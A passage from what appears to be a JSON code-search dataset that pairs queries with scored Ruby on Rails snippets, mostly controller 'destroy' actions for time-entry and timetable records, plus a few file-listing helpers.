"text": "def destroy\n @time_entry = current_firm.all_time_entries.find(params[:id])\n @time_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to params[:ret] || firm_time_entries_path(current_firm) }\n format.json { head :ok }\n end\n end",
"title": ""
}
] |
[
{
"docid": "f0fffa6a81b6f3ee6dd0fc4cdc9a1eb7",
"score": "0.77798426",
"text": "def destroy\n @time_entry = TimeEntry.with_deleted.find(params[:id])\n @time_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to time_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a460604eb1c6178194e51bcf8adb999b",
"score": "0.7719302",
"text": "def destroy\n @time_entry = TimeEntry.find(params[:id])\n @time_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to time_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a460604eb1c6178194e51bcf8adb999b",
"score": "0.7719302",
"text": "def destroy\n @time_entry = TimeEntry.find(params[:id])\n @time_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to time_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d860f1c4459f0bc9771ecb9771dab8e8",
"score": "0.76278114",
"text": "def destroy\n @timeentry = Timeentry.find(params[:id])\n @timeentry.destroy\n\n respond_to do |format|\n format.html { redirect_to timeentries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f4e086522378c5636b20103114926672",
"score": "0.7478545",
"text": "def destroy\n @time_entry.destroy\n respond_to do |format|\n format.html { redirect_to time_entries_url, notice: 'Time entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aba16782ac5a664ed3729c1bf010244b",
"score": "0.7295813",
"text": "def destroy\n @timetable_entry.destroy\n respond_to do |format|\n format.html { redirect_to timetable_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5463896a0c5821bdb359403ed2e8284d",
"score": "0.7199814",
"text": "def delete_time_entry(id)\n send(:delete, \"time_entries/#{id}\")\n end",
"title": ""
},
{
"docid": "ee98ebb082db793be320d7c853112014",
"score": "0.7127114",
"text": "def destroy\n @entry = @time_sheet.entries.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to user_time_sheet_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "64523a58a141c216ab515b79da0f3571",
"score": "0.71220833",
"text": "def destroy\n @big_time_entry.destroy\n respond_to do |format|\n format.html { redirect_to big_time_entries_url, notice: 'Big time entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c28e724b68417be40e3e4a2feaf86abc",
"score": "0.70302796",
"text": "def destroy\n @timesheet_entry = TimesheetEntry.find(params[:id])\n @timesheet_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to timesheet_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dd5a238e3f7411ab25a8e51c823e8ebc",
"score": "0.7028067",
"text": "def destroy\n @time_table_entry = TimeTableEntry.find(params[:id])\n @time_table_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_table_entries_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a296d7776d60faa93a4d815ee0b653f2",
"score": "0.6914805",
"text": "def destroy\n @daytime = Daytime.find(params[:id])\n @daytime.destroy\n\n respond_to do |format|\n format.html { redirect_to daytimes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1e98cb8e0c11d378bfaf02dbef3b7103",
"score": "0.68997574",
"text": "def destroy\n @titletime.destroy\n respond_to do |format|\n format.html { redirect_to titletimes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c63bdf0fc4bf233cda9129b28fbac9c1",
"score": "0.688539",
"text": "def destroy\n @time_log = TimeLog.find(params[:id])\n @time_log.destroy\n\n respond_to do |format|\n format.html { redirect_to time_logs_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0cfd2506b67518f9d715fe98743dd288",
"score": "0.6842422",
"text": "def destroy\n @time_record = TimeRecord.find(params[:id])\n @time_record.destroy\n\n respond_to do |format|\n format.html { redirect_to time_records_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0cfd2506b67518f9d715fe98743dd288",
"score": "0.6842422",
"text": "def destroy\n @time_record = TimeRecord.find(params[:id])\n @time_record.destroy\n\n respond_to do |format|\n format.html { redirect_to time_records_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "354f87e448a60808c2d54b0b3d978557",
"score": "0.680404",
"text": "def destroy\n @time_line.destroy\n respond_to do |format|\n format.html { redirect_to time_lines_url, notice: 'Time line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d495afda0fdc1bc747206c27d5b2de8a",
"score": "0.67957485",
"text": "def destroy\n @time_section = TimeSection.find(params[:id])\n @time_section.destroy\n\n respond_to do |format|\n format.html { redirect_to time_sections_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a00b463a22459f3dc033fc1baad39713",
"score": "0.6791183",
"text": "def destroy\n @time_period.destroy\n format.json { head :no_content }\n end",
"title": ""
},
{
"docid": "e2d28889515e1e76a844d6f6b31d5ad0",
"score": "0.6777039",
"text": "def destroy\n @time_clock.destroy\n respond_to do |format|\n format.html { redirect_to time_sheet_index_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a63fd347e348d84aab16758c11ec1664",
"score": "0.67686486",
"text": "def destroy\n debugger\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ea409eca1982737f8cd6fa88a4713069",
"score": "0.67553246",
"text": "def destroy\n @task_entry.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8e07ac1b88f73ec04f2b0716673bc665",
"score": "0.6749953",
"text": "def destroy_time_entry(time_entry_id)\n response = basecamp_connection.delete(\"/time_entries/#{time_entry_id}.xml\")\n if response.code == '200'\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "0a6f1bb3868b618e3fe1368171469e43",
"score": "0.6699731",
"text": "def destroy\n @time_table.destroy\n respond_to do |format|\n format.html { redirect_to time_tables_url, notice: 'Time table was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8934396c1db2db584a71c774995d4394",
"score": "0.6698218",
"text": "def destroy\n @time_record.destroy\n respond_to do |format|\n format.html { redirect_to time_records_url, notice: 'Time record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b829270fe92d298cf3ee177bb4487940",
"score": "0.6691848",
"text": "def destroy\n @timeline.destroy\n respond_to do |format|\n format.html { redirect_to timelines_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f3b28b30027f2b75fb83c3797909da78",
"score": "0.66741514",
"text": "def destroy\n @timelog.destroy\n respond_to do |format|\n format.html { redirect_to timelogs_url, notice: 'Timelog was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "24b73eb01931d2413c45d163bfaad362",
"score": "0.66740537",
"text": "def destroy\n @offset_time = OffsetTime.find(params[:id])\n @offset_time.destroy\n\n respond_to do |format|\n format.html { redirect_to offset_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fafc710204983972ab85b907c67d5e7a",
"score": "0.6670568",
"text": "def deleteEntityOpening_times( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"delete\",\"/entity/opening_times\",params)\n end",
"title": ""
},
{
"docid": "9cae0e14bc067a112767bbc403265634",
"score": "0.6666668",
"text": "def destroy\n @timetable = Timetable.find(params[:id])\n @timetable.destroy\n\n respond_to do |format|\n format.html { redirect_to timetables_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7070e4dc3849fac5852c0271c9b6d7cc",
"score": "0.66642505",
"text": "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"title": ""
},
{
"docid": "59a0cb9c9166d0d55c9373f4f74b3552",
"score": "0.66544473",
"text": "def destroy\n @logentry.destroy\n respond_to do |format|\n format.html { redirect_to logentries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c51ded9430d7998c23457b5e1475a957",
"score": "0.66508675",
"text": "def destroy\n @hurdle_time = HurdleTime.find(params[:id])\n @hurdle_time.destroy\n\n respond_to do |format|\n format.html { redirect_to hurdle_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8ca618fff4056f53e4f3440c084f5e2",
"score": "0.6646389",
"text": "def destroy\n @member_time = MemberTime.find(params[:id])\n @member_time.destroy\n\n respond_to do |format|\n format.html { redirect_to member_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1f7ebc42feb0a03bf3e3123f6383000f",
"score": "0.6641687",
"text": "def destroy\n @timeline = Timeline.find(params[:id])\n @timeline.destroy\n\n respond_to do |format|\n format.html { redirect_to timelines_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a6006f8e48c0815b2e3355b528941243",
"score": "0.66318774",
"text": "def destroy\n @time_gap = TimeGap.find(params[:id])\n @time_gap.destroy\n\n respond_to do |format|\n format.html { redirect_to time_gaps_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1189be6ecd3577cdc5541de66abd1c83",
"score": "0.6621195",
"text": "def destroy\n @cooking_time.destroy\n respond_to do |format|\n format.html { redirect_to cooking_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "da39c08f6070f3c856dd985abdab99f8",
"score": "0.66203815",
"text": "def destroy\n @hour_entry = HourEntry.find(params[:id])\n @hour_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(hour_entry_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "73b69adf7b017c3707a1993496067abb",
"score": "0.66134316",
"text": "def destroy\n @time_of_day.destroy\n respond_to do |format|\n format.html { redirect_to time_of_days_url, notice: 'Time of day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "48fe0c3e4d18a3669da5c56c6e3fb62f",
"score": "0.6598978",
"text": "def destroy\n @time_off_request = TimeOffRequest.find(params[:id])\n @time_off_request.destroy\n \n respond_to do |format|\n format.html { redirect_to admin_time_off_requests_url}\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "95bb7fbd28402407e2a3a03c5812d273",
"score": "0.65903103",
"text": "def destroy\n @section_time.destroy\n respond_to do |format|\n format.html { redirect_to section_times_url, notice: 'Section time was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6200452e88b32462aca6b2a0bf5e249e",
"score": "0.6565056",
"text": "def destroy\n @class_time.destroy\n respond_to do |format|\n format.html { redirect_to class_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f1c11b371f9bffd8109f4e28a582ac45",
"score": "0.6563097",
"text": "def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "65aeda8a80312af116c265bf569d835e",
"score": "0.65605396",
"text": "def destroy\n @event_log_entry = EventLogEntry.find(params[:id])\n @event_log_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to event_log_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c173b532e643e8c7d6b1073997746f5e",
"score": "0.6557746",
"text": "def destroy\n @time_table = TimeTable.find(params[:id])\n @time_table.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_tables_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "16b480ec17863ec7ec7cdbc36c6f7fde",
"score": "0.65552396",
"text": "def destroy\n @eventtime = Eventtime.find(params[:id])\n @eventtime.destroy\n\n respond_to do |format|\n format.html { redirect_to(eventtimes_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "55899f9f171e1f088ea0f5e6c1943ec8",
"score": "0.6549923",
"text": "def destroy\n @r_entry.destroy\n respond_to do |format|\n format.html { redirect_to r_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d12f59fc6603bd48946c25e25153f1d0",
"score": "0.65305144",
"text": "def destroy\n @service_time = ServiceTime.find(params[:id])\n @service_time.destroy\n\n respond_to do |format|\n format.html { redirect_to service_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "689d5a07a403c4b765ba178e4aff08a3",
"score": "0.65299255",
"text": "def delete\n client.delete(\"/#{id}\")\n end",
"title": ""
},
{
"docid": "3252099594a2018ac11a09faaa4ebac1",
"score": "0.6526972",
"text": "def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3252099594a2018ac11a09faaa4ebac1",
"score": "0.6526972",
"text": "def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ebc836fbdc26f4cdce94fe36525dc97d",
"score": "0.6520554",
"text": "def destroy\n @timetable = Timetable.find(params[:id])\n \n if @timetable != nil\n \n res_day = Day.where(:TIMETABLE_ID => @timetable.ID)\n res_day.each do |day|\n res_hour = Hour.where(:DAY_ID => day.ID)\n res_hour.each do |hour|\n hour.destroy\n end\n day.destroy\n end\n \n @timetable.destroy\n \n end\n \n respond_to do |format|\n format.html { redirect_to timetables_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "466a7ffb811e0732c1cfef29f9866b4c",
"score": "0.6520411",
"text": "def destroy\n @time_series.destroy\n\n respond_to do |format|\n format.html { redirect_to time_series_index_url(@owner), flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.time_series.one'))} }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fa7b0de9494334f5d887fc1b1041f7a4",
"score": "0.6515746",
"text": "def destroy\n @time_task = TimeTask.find(params[:id])\n @time_task.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_tasks_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9528a13a31c3b9568f8890e25c21f034",
"score": "0.6514444",
"text": "def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9528a13a31c3b9568f8890e25c21f034",
"score": "0.6514444",
"text": "def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9528a13a31c3b9568f8890e25c21f034",
"score": "0.6514444",
"text": "def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "26b628bbeb5cb796639cae443cb6d9ce",
"score": "0.65052885",
"text": "def destroy\n @meeting_time.destroy\n respond_to do |format|\n format.html { redirect_to meeting_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "46c281977c977f16de4c0944858eb857",
"score": "0.6502199",
"text": "def destroy\n @data_entry.destroy\n respond_to do |format|\n format.html { redirect_to data_entries_url, notice: 'Data entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9bfdc9f227561c9baa220ffdb7e947de",
"score": "0.6499477",
"text": "def destroy\n @time_track = TimeTrack.find(params[:id])\n @time_track.destroy\n\n respond_to do |format|\n format.html { redirect_to time_tracks_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "888f7bb0861507ee75846fd534531aa0",
"score": "0.64984596",
"text": "def destroy\n @log_entry = LogEntry.find(params[:id])\n @log_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to log_entries_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d5442e73ed96192e52c2779dd487e8f6",
"score": "0.6497001",
"text": "def destroy\n @location_time.destroy\n respond_to do |format|\n format.html { redirect_to location_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "82ccdb83d65c6d530d2eb06b1cd2ed9e",
"score": "0.6495249",
"text": "def destroy\n @cal_time.destroy\n respond_to do |format|\n format.html { redirect_to cal_times_url, notice: 'Cal time was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5ecf1ec0feb5a2374a0bf65f2f740966",
"score": "0.6483069",
"text": "def destroy\n @my_time_trial = MyTimeTrial.find(params[:id])\n @my_time_trial.destroy\n\n respond_to do |format|\n format.html { redirect_to my_time_trials_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "731f6ca24e67ec73d31379b648650a57",
"score": "0.6478681",
"text": "def destroy\n @order_break_time.destroy\n respond_to do |format|\n format.html { redirect_to order_break_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "59157f5ca0a200b3bcca7a70e759f4a8",
"score": "0.6478605",
"text": "def destroy\n @day_timeslot.destroy\n respond_to do |format|\n format.html { redirect_to day_timeslots_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a1bcc5a810e77c9486df3adf92d0e22c",
"score": "0.647822",
"text": "def destroy\n @time_record = TimeRecord.find(params[:id])\n @time_record.destroy\n\n respond_to do |format|\n format.html { redirect_to time_records_url,\n notice: (crud_notice('destroyed', @time_record) + \"#{undo_link(@time_record)}\").html_safe }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "41f1eec8404db149301a977602f37d5f",
"score": "0.647645",
"text": "def destroy\n @working_start_time.destroy\n respond_to do |format|\n format.html { redirect_to working_start_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1bb1b253299fb2254e8db688e22c3dff",
"score": "0.6474908",
"text": "def destroy\n @allocated_time.destroy\n respond_to do |format|\n format.html { redirect_to allocated_times_url, notice: 'Allocated time was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ecff074060216ee84bc7c14036869573",
"score": "0.6474351",
"text": "def destroy\n @working_time = WorkingTime.find(params[:id])\n @working_time.destroy\n\n respond_to do |format|\n format.html { redirect_to time_tables_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "025387dbe88d3be4e3bbae88d951dcb5",
"score": "0.6473573",
"text": "def destroy\n @nursing_time = NursingTime.find(params[:id])\n @nursing_time.destroy\n\n respond_to do |format|\n format.html { redirect_to nursing_times_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "3704e273163fd14c2605da34ff549b00",
"score": "0.6463157",
"text": "def destroy\n @attendance_entry.destroy\n respond_to do |format|\n format.html { redirect_to event_attendance_entries_path(@attendance_entry.event) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c9114e912308105808a04a2492a5e2ba",
"score": "0.6460124",
"text": "def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c9114e912308105808a04a2492a5e2ba",
"score": "0.6460124",
"text": "def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c9a02ab991666038b34d7f26a0fd83e5",
"score": "0.6456874",
"text": "def destroy\n @entry = Entry.find_by_id(params[:id])\n @entry.destroy if @entry\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "f1a5db89928fe37a5c93d41e437c4fb8",
"score": "0.645059",
"text": "def destroy\n @top_standing_entry.destroy\n respond_to do |format|\n format.html { redirect_to top_standing_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1f0a8e8c97a0438790f1ddeeecaca29",
"score": "0.644486",
"text": "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"title": ""
},
{
"docid": "d47aea987f7c24337815335c9d309d6d",
"score": "0.64431345",
"text": "def destroy\n @event_entry = EventEntry.find(params[:id])\n @event_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to event_entries_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "50e4b11f8b17989018772f0da1016f9f",
"score": "0.64366984",
"text": "def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to '/entries' }\n format.json { render json: @entry }\n end\n end",
"title": ""
},
{
"docid": "bb9343cf2190d303ae426698ed28fa89",
"score": "0.6431041",
"text": "def destroy\n @timing = Timing.find(params[:id])\n @timing.destroy\n\n respond_to do |format|\n format.html { redirect_to(timings_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7c2bbd708ef353ccfbe1999f64e2b747",
"score": "0.64269316",
"text": "def destroy\n @clinic_timing = ClinicTiming.find(params[:id])\n @clinic_timing.destroy\n\n respond_to do |format|\n format.html { redirect_to clinic_timings_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f3a2118bded1790ba57c66cae4c5da2b",
"score": "0.6426645",
"text": "def destroy\n @kyu_entry.destroy\n respond_to do |format|\n format.html { redirect_to kyu_entries_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e931eaecb0b8373c7b9550de34e3afcc",
"score": "0.642023",
"text": "def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to manage_entries_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "95d78798525cbb0f7f1bd134806a054b",
"score": "0.6420172",
"text": "def destroy\n @task_entry.destroy\n respond_to do |format|\n format.html { redirect_to task_entries_url, notice: 'Task entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "54312bf0b1d78c60e8edf97d2283de05",
"score": "0.64187294",
"text": "def destroy\n @moment_entry = MomentEntry.find(params[:id])\n @moment_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to @moment_entry.aircraft }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "05006c1105985eb7c25555059019b506",
"score": "0.6412478",
"text": "def destroy\n @timesheet.destroy\n respond_to do |format|\n format.html { redirect_to timesheets_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "79622d90d4826435e5e3a4a1878b98dd",
"score": "0.6411664",
"text": "def destroy\n @timecontroll.destroy\n respond_to do |format|\n format.html { redirect_to timecontrolls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "51f84198a57d6f55bc0b3ea3ca89c122",
"score": "0.64054364",
"text": "def destroy\n @meal_time = MealTime.find(params[:id])\n @meal_time.destroy\n\n respond_to do |format|\n format.html { redirect_to meal_times_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7e24af0e029c8a214b8debcb343b02d5",
"score": "0.6402996",
"text": "def destroy\n @timetable.destroy\n respond_to do |format|\n format.html { redirect_to timetables_url, notice: 'Timetable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4a4b2cb2791a439983ccff0f0e330cf",
"score": "0.6402471",
"text": "def destroy\n @datetime.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env['HTTP_REFERER'] }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "430a5e56bd06410ed24cf101458fee67",
"score": "0.64016473",
"text": "def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b39b864111eb1bbca9903890f84acfda",
"score": "0.63864344",
"text": "def destroy\n @schedule_entry = ScheduleEntry.find(params[:id])\n @schedule_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_schedule_entry_path(1) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c840c3375953f345cb3c12cd7a19c997",
"score": "0.6380281",
"text": "def destroy\n @timeline = Timeline.find(params[:id])\n @timeline.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_timelines_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "35edfec120100155dfc3cc078830ee86",
"score": "0.63754976",
"text": "def destroy\n @time_episode = TimeEpisode.find(params[:id])\n @time_episode.destroy\n\n respond_to do |format|\n format.html { redirect_to time_episodes_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "139a53dd99edf8d17b0edd45a75825fc",
"score": "0.6374176",
"text": "def destroy\n @disatance_and_time.destroy\n respond_to do |format|\n format.html { redirect_to disatance_and_times_url, notice: 'Disatance and time was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "70a12cae75217daeabb596a9c6ed47fd",
"score": "0.6367835",
"text": "def destroy\n @work_time = WorkTime.find(params[:id])\n @work_time.destroy\n # after deleting, controller issues a response according to the format given\n respond_to do |format|\n # HTML redirects back to work time index and shows the notice\n format.html { redirect_to api_work_times_path, notice: \"Successfully deleted work time!\" }\n # JSON will just give a deleted response\n format.json { head :no_content }\n # XML will just give a deleted response\n format.xml { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e69c9a3443d448d909068b211d40ac00",
"score": "0.636765",
"text": "def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to entries_url, notice: 'Entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e69c9a3443d448d909068b211d40ac00",
"score": "0.636765",
"text": "def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to entries_url, notice: 'Entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e69c9a3443d448d909068b211d40ac00",
"score": "0.636765",
"text": "def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to entries_url, notice: 'Entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e69c9a3443d448d909068b211d40ac00",
"score": "0.636765",
"text": "def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to entries_url, notice: 'Entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
96f0324784fea238a4886b6c8640b600
|
Dumps each filename string in a verbose format for display purposes.
|
[
{
"docid": "d92a5ee1389f4a104923909bf371ce63",
"score": "0.5621006",
"text": "def list_files_to_be_processed(filenames, dest_name)\n unless filenames.empty?\n puts \"\\r\\n - #{dest_name} diffs to be processed:\"\n filenames.each { |filename| puts \" #{filename}\" }\n end\n end",
"title": ""
}
] |
[
{
"docid": "d01823bfc961cdbcec4ef77bb0f3a186",
"score": "0.59442824",
"text": "def output_details(files) \n @stdout.puts\n @stdout.puts \"Details\".bold\n files.each do |t|\n fname = t.path\n @stdout.puts \"File: %s\" % [((t.status == FileData::STATUS_OK) ? fname : fname.red)]\n @stdout.puts \"Includes: %s\" % [format_fds(t.includes)] unless t.includes.empty?\n @stdout.puts \"Included by: %s\" % [format_fds(t.included_by)] unless t.included_by.empty?\n @stdout.puts \"References: %s\" % [format_fds(t.references)] unless t.references.empty?\n @stdout.puts \"Referenced by: %s\" % [format_fds(t.referenced_by)] unless t.referenced_by.empty?\n unless t.status == FileData::STATUS_NOT_FOUND\n # show that part only if file exists\n @stdout.puts \"Size: %s (%d)\" % [format_size(t.size),t.size]\n if (t.docbook)\n @stdout.puts \"Type: DocBook, Version #{t.version}, Tag: #{t.tag}\"\n else\n @stdout.puts \"MIME: #{val_s(t.mime)}\"\n end\n @stdout.puts \"Timestamp: %s\" % [t.ts]\n @stdout.puts \"SHA1: %s\" % [t.checksum]\n end\n @stdout.puts \"Error: %s\" % [t.error_string.to_s.red] unless (t.error_string.nil?) \n @stdout.puts\n end\n end",
"title": ""
},
{
"docid": "3cd5c90bb73552bd6fd1de8aa5ee2920",
"score": "0.57998574",
"text": "def each_filename; end",
"title": ""
},
{
"docid": "221d7aa03e32bf59adb602ed4d7fca44",
"score": "0.57269496",
"text": "def print_wordfiles\r\n puts '\\n'\r\n puts 'Wordfiles avaliable for use:'\r\n puts '\\n'\r\n get_wordfile_names.each do |filename|\r\n puts filename\r\n end\r\n end",
"title": ""
},
{
"docid": "9b23a019f423156a94433eeec05a82a9",
"score": "0.56894445",
"text": "def stringify_files(files)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "6c4187cbec4c43b63b99074e3615f020",
"score": "0.54848504",
"text": "def formatted_file_list(title, source_files); end",
"title": ""
},
{
"docid": "6c80431e29f6df31933d0353092765f9",
"score": "0.5444176",
"text": "def to_s\n file_file_name.to_s\n end",
"title": ""
},
{
"docid": "37a51927493bf0db3d04bc2c720e0bcc",
"score": "0.53996867",
"text": "def display_saves\n Dir.children('./saves').each_with_index { |name, idx| puts \"#{idx}. #{name}\" }\nend",
"title": ""
},
{
"docid": "24580b653c4500196896afdd4c9f3913",
"score": "0.5390849",
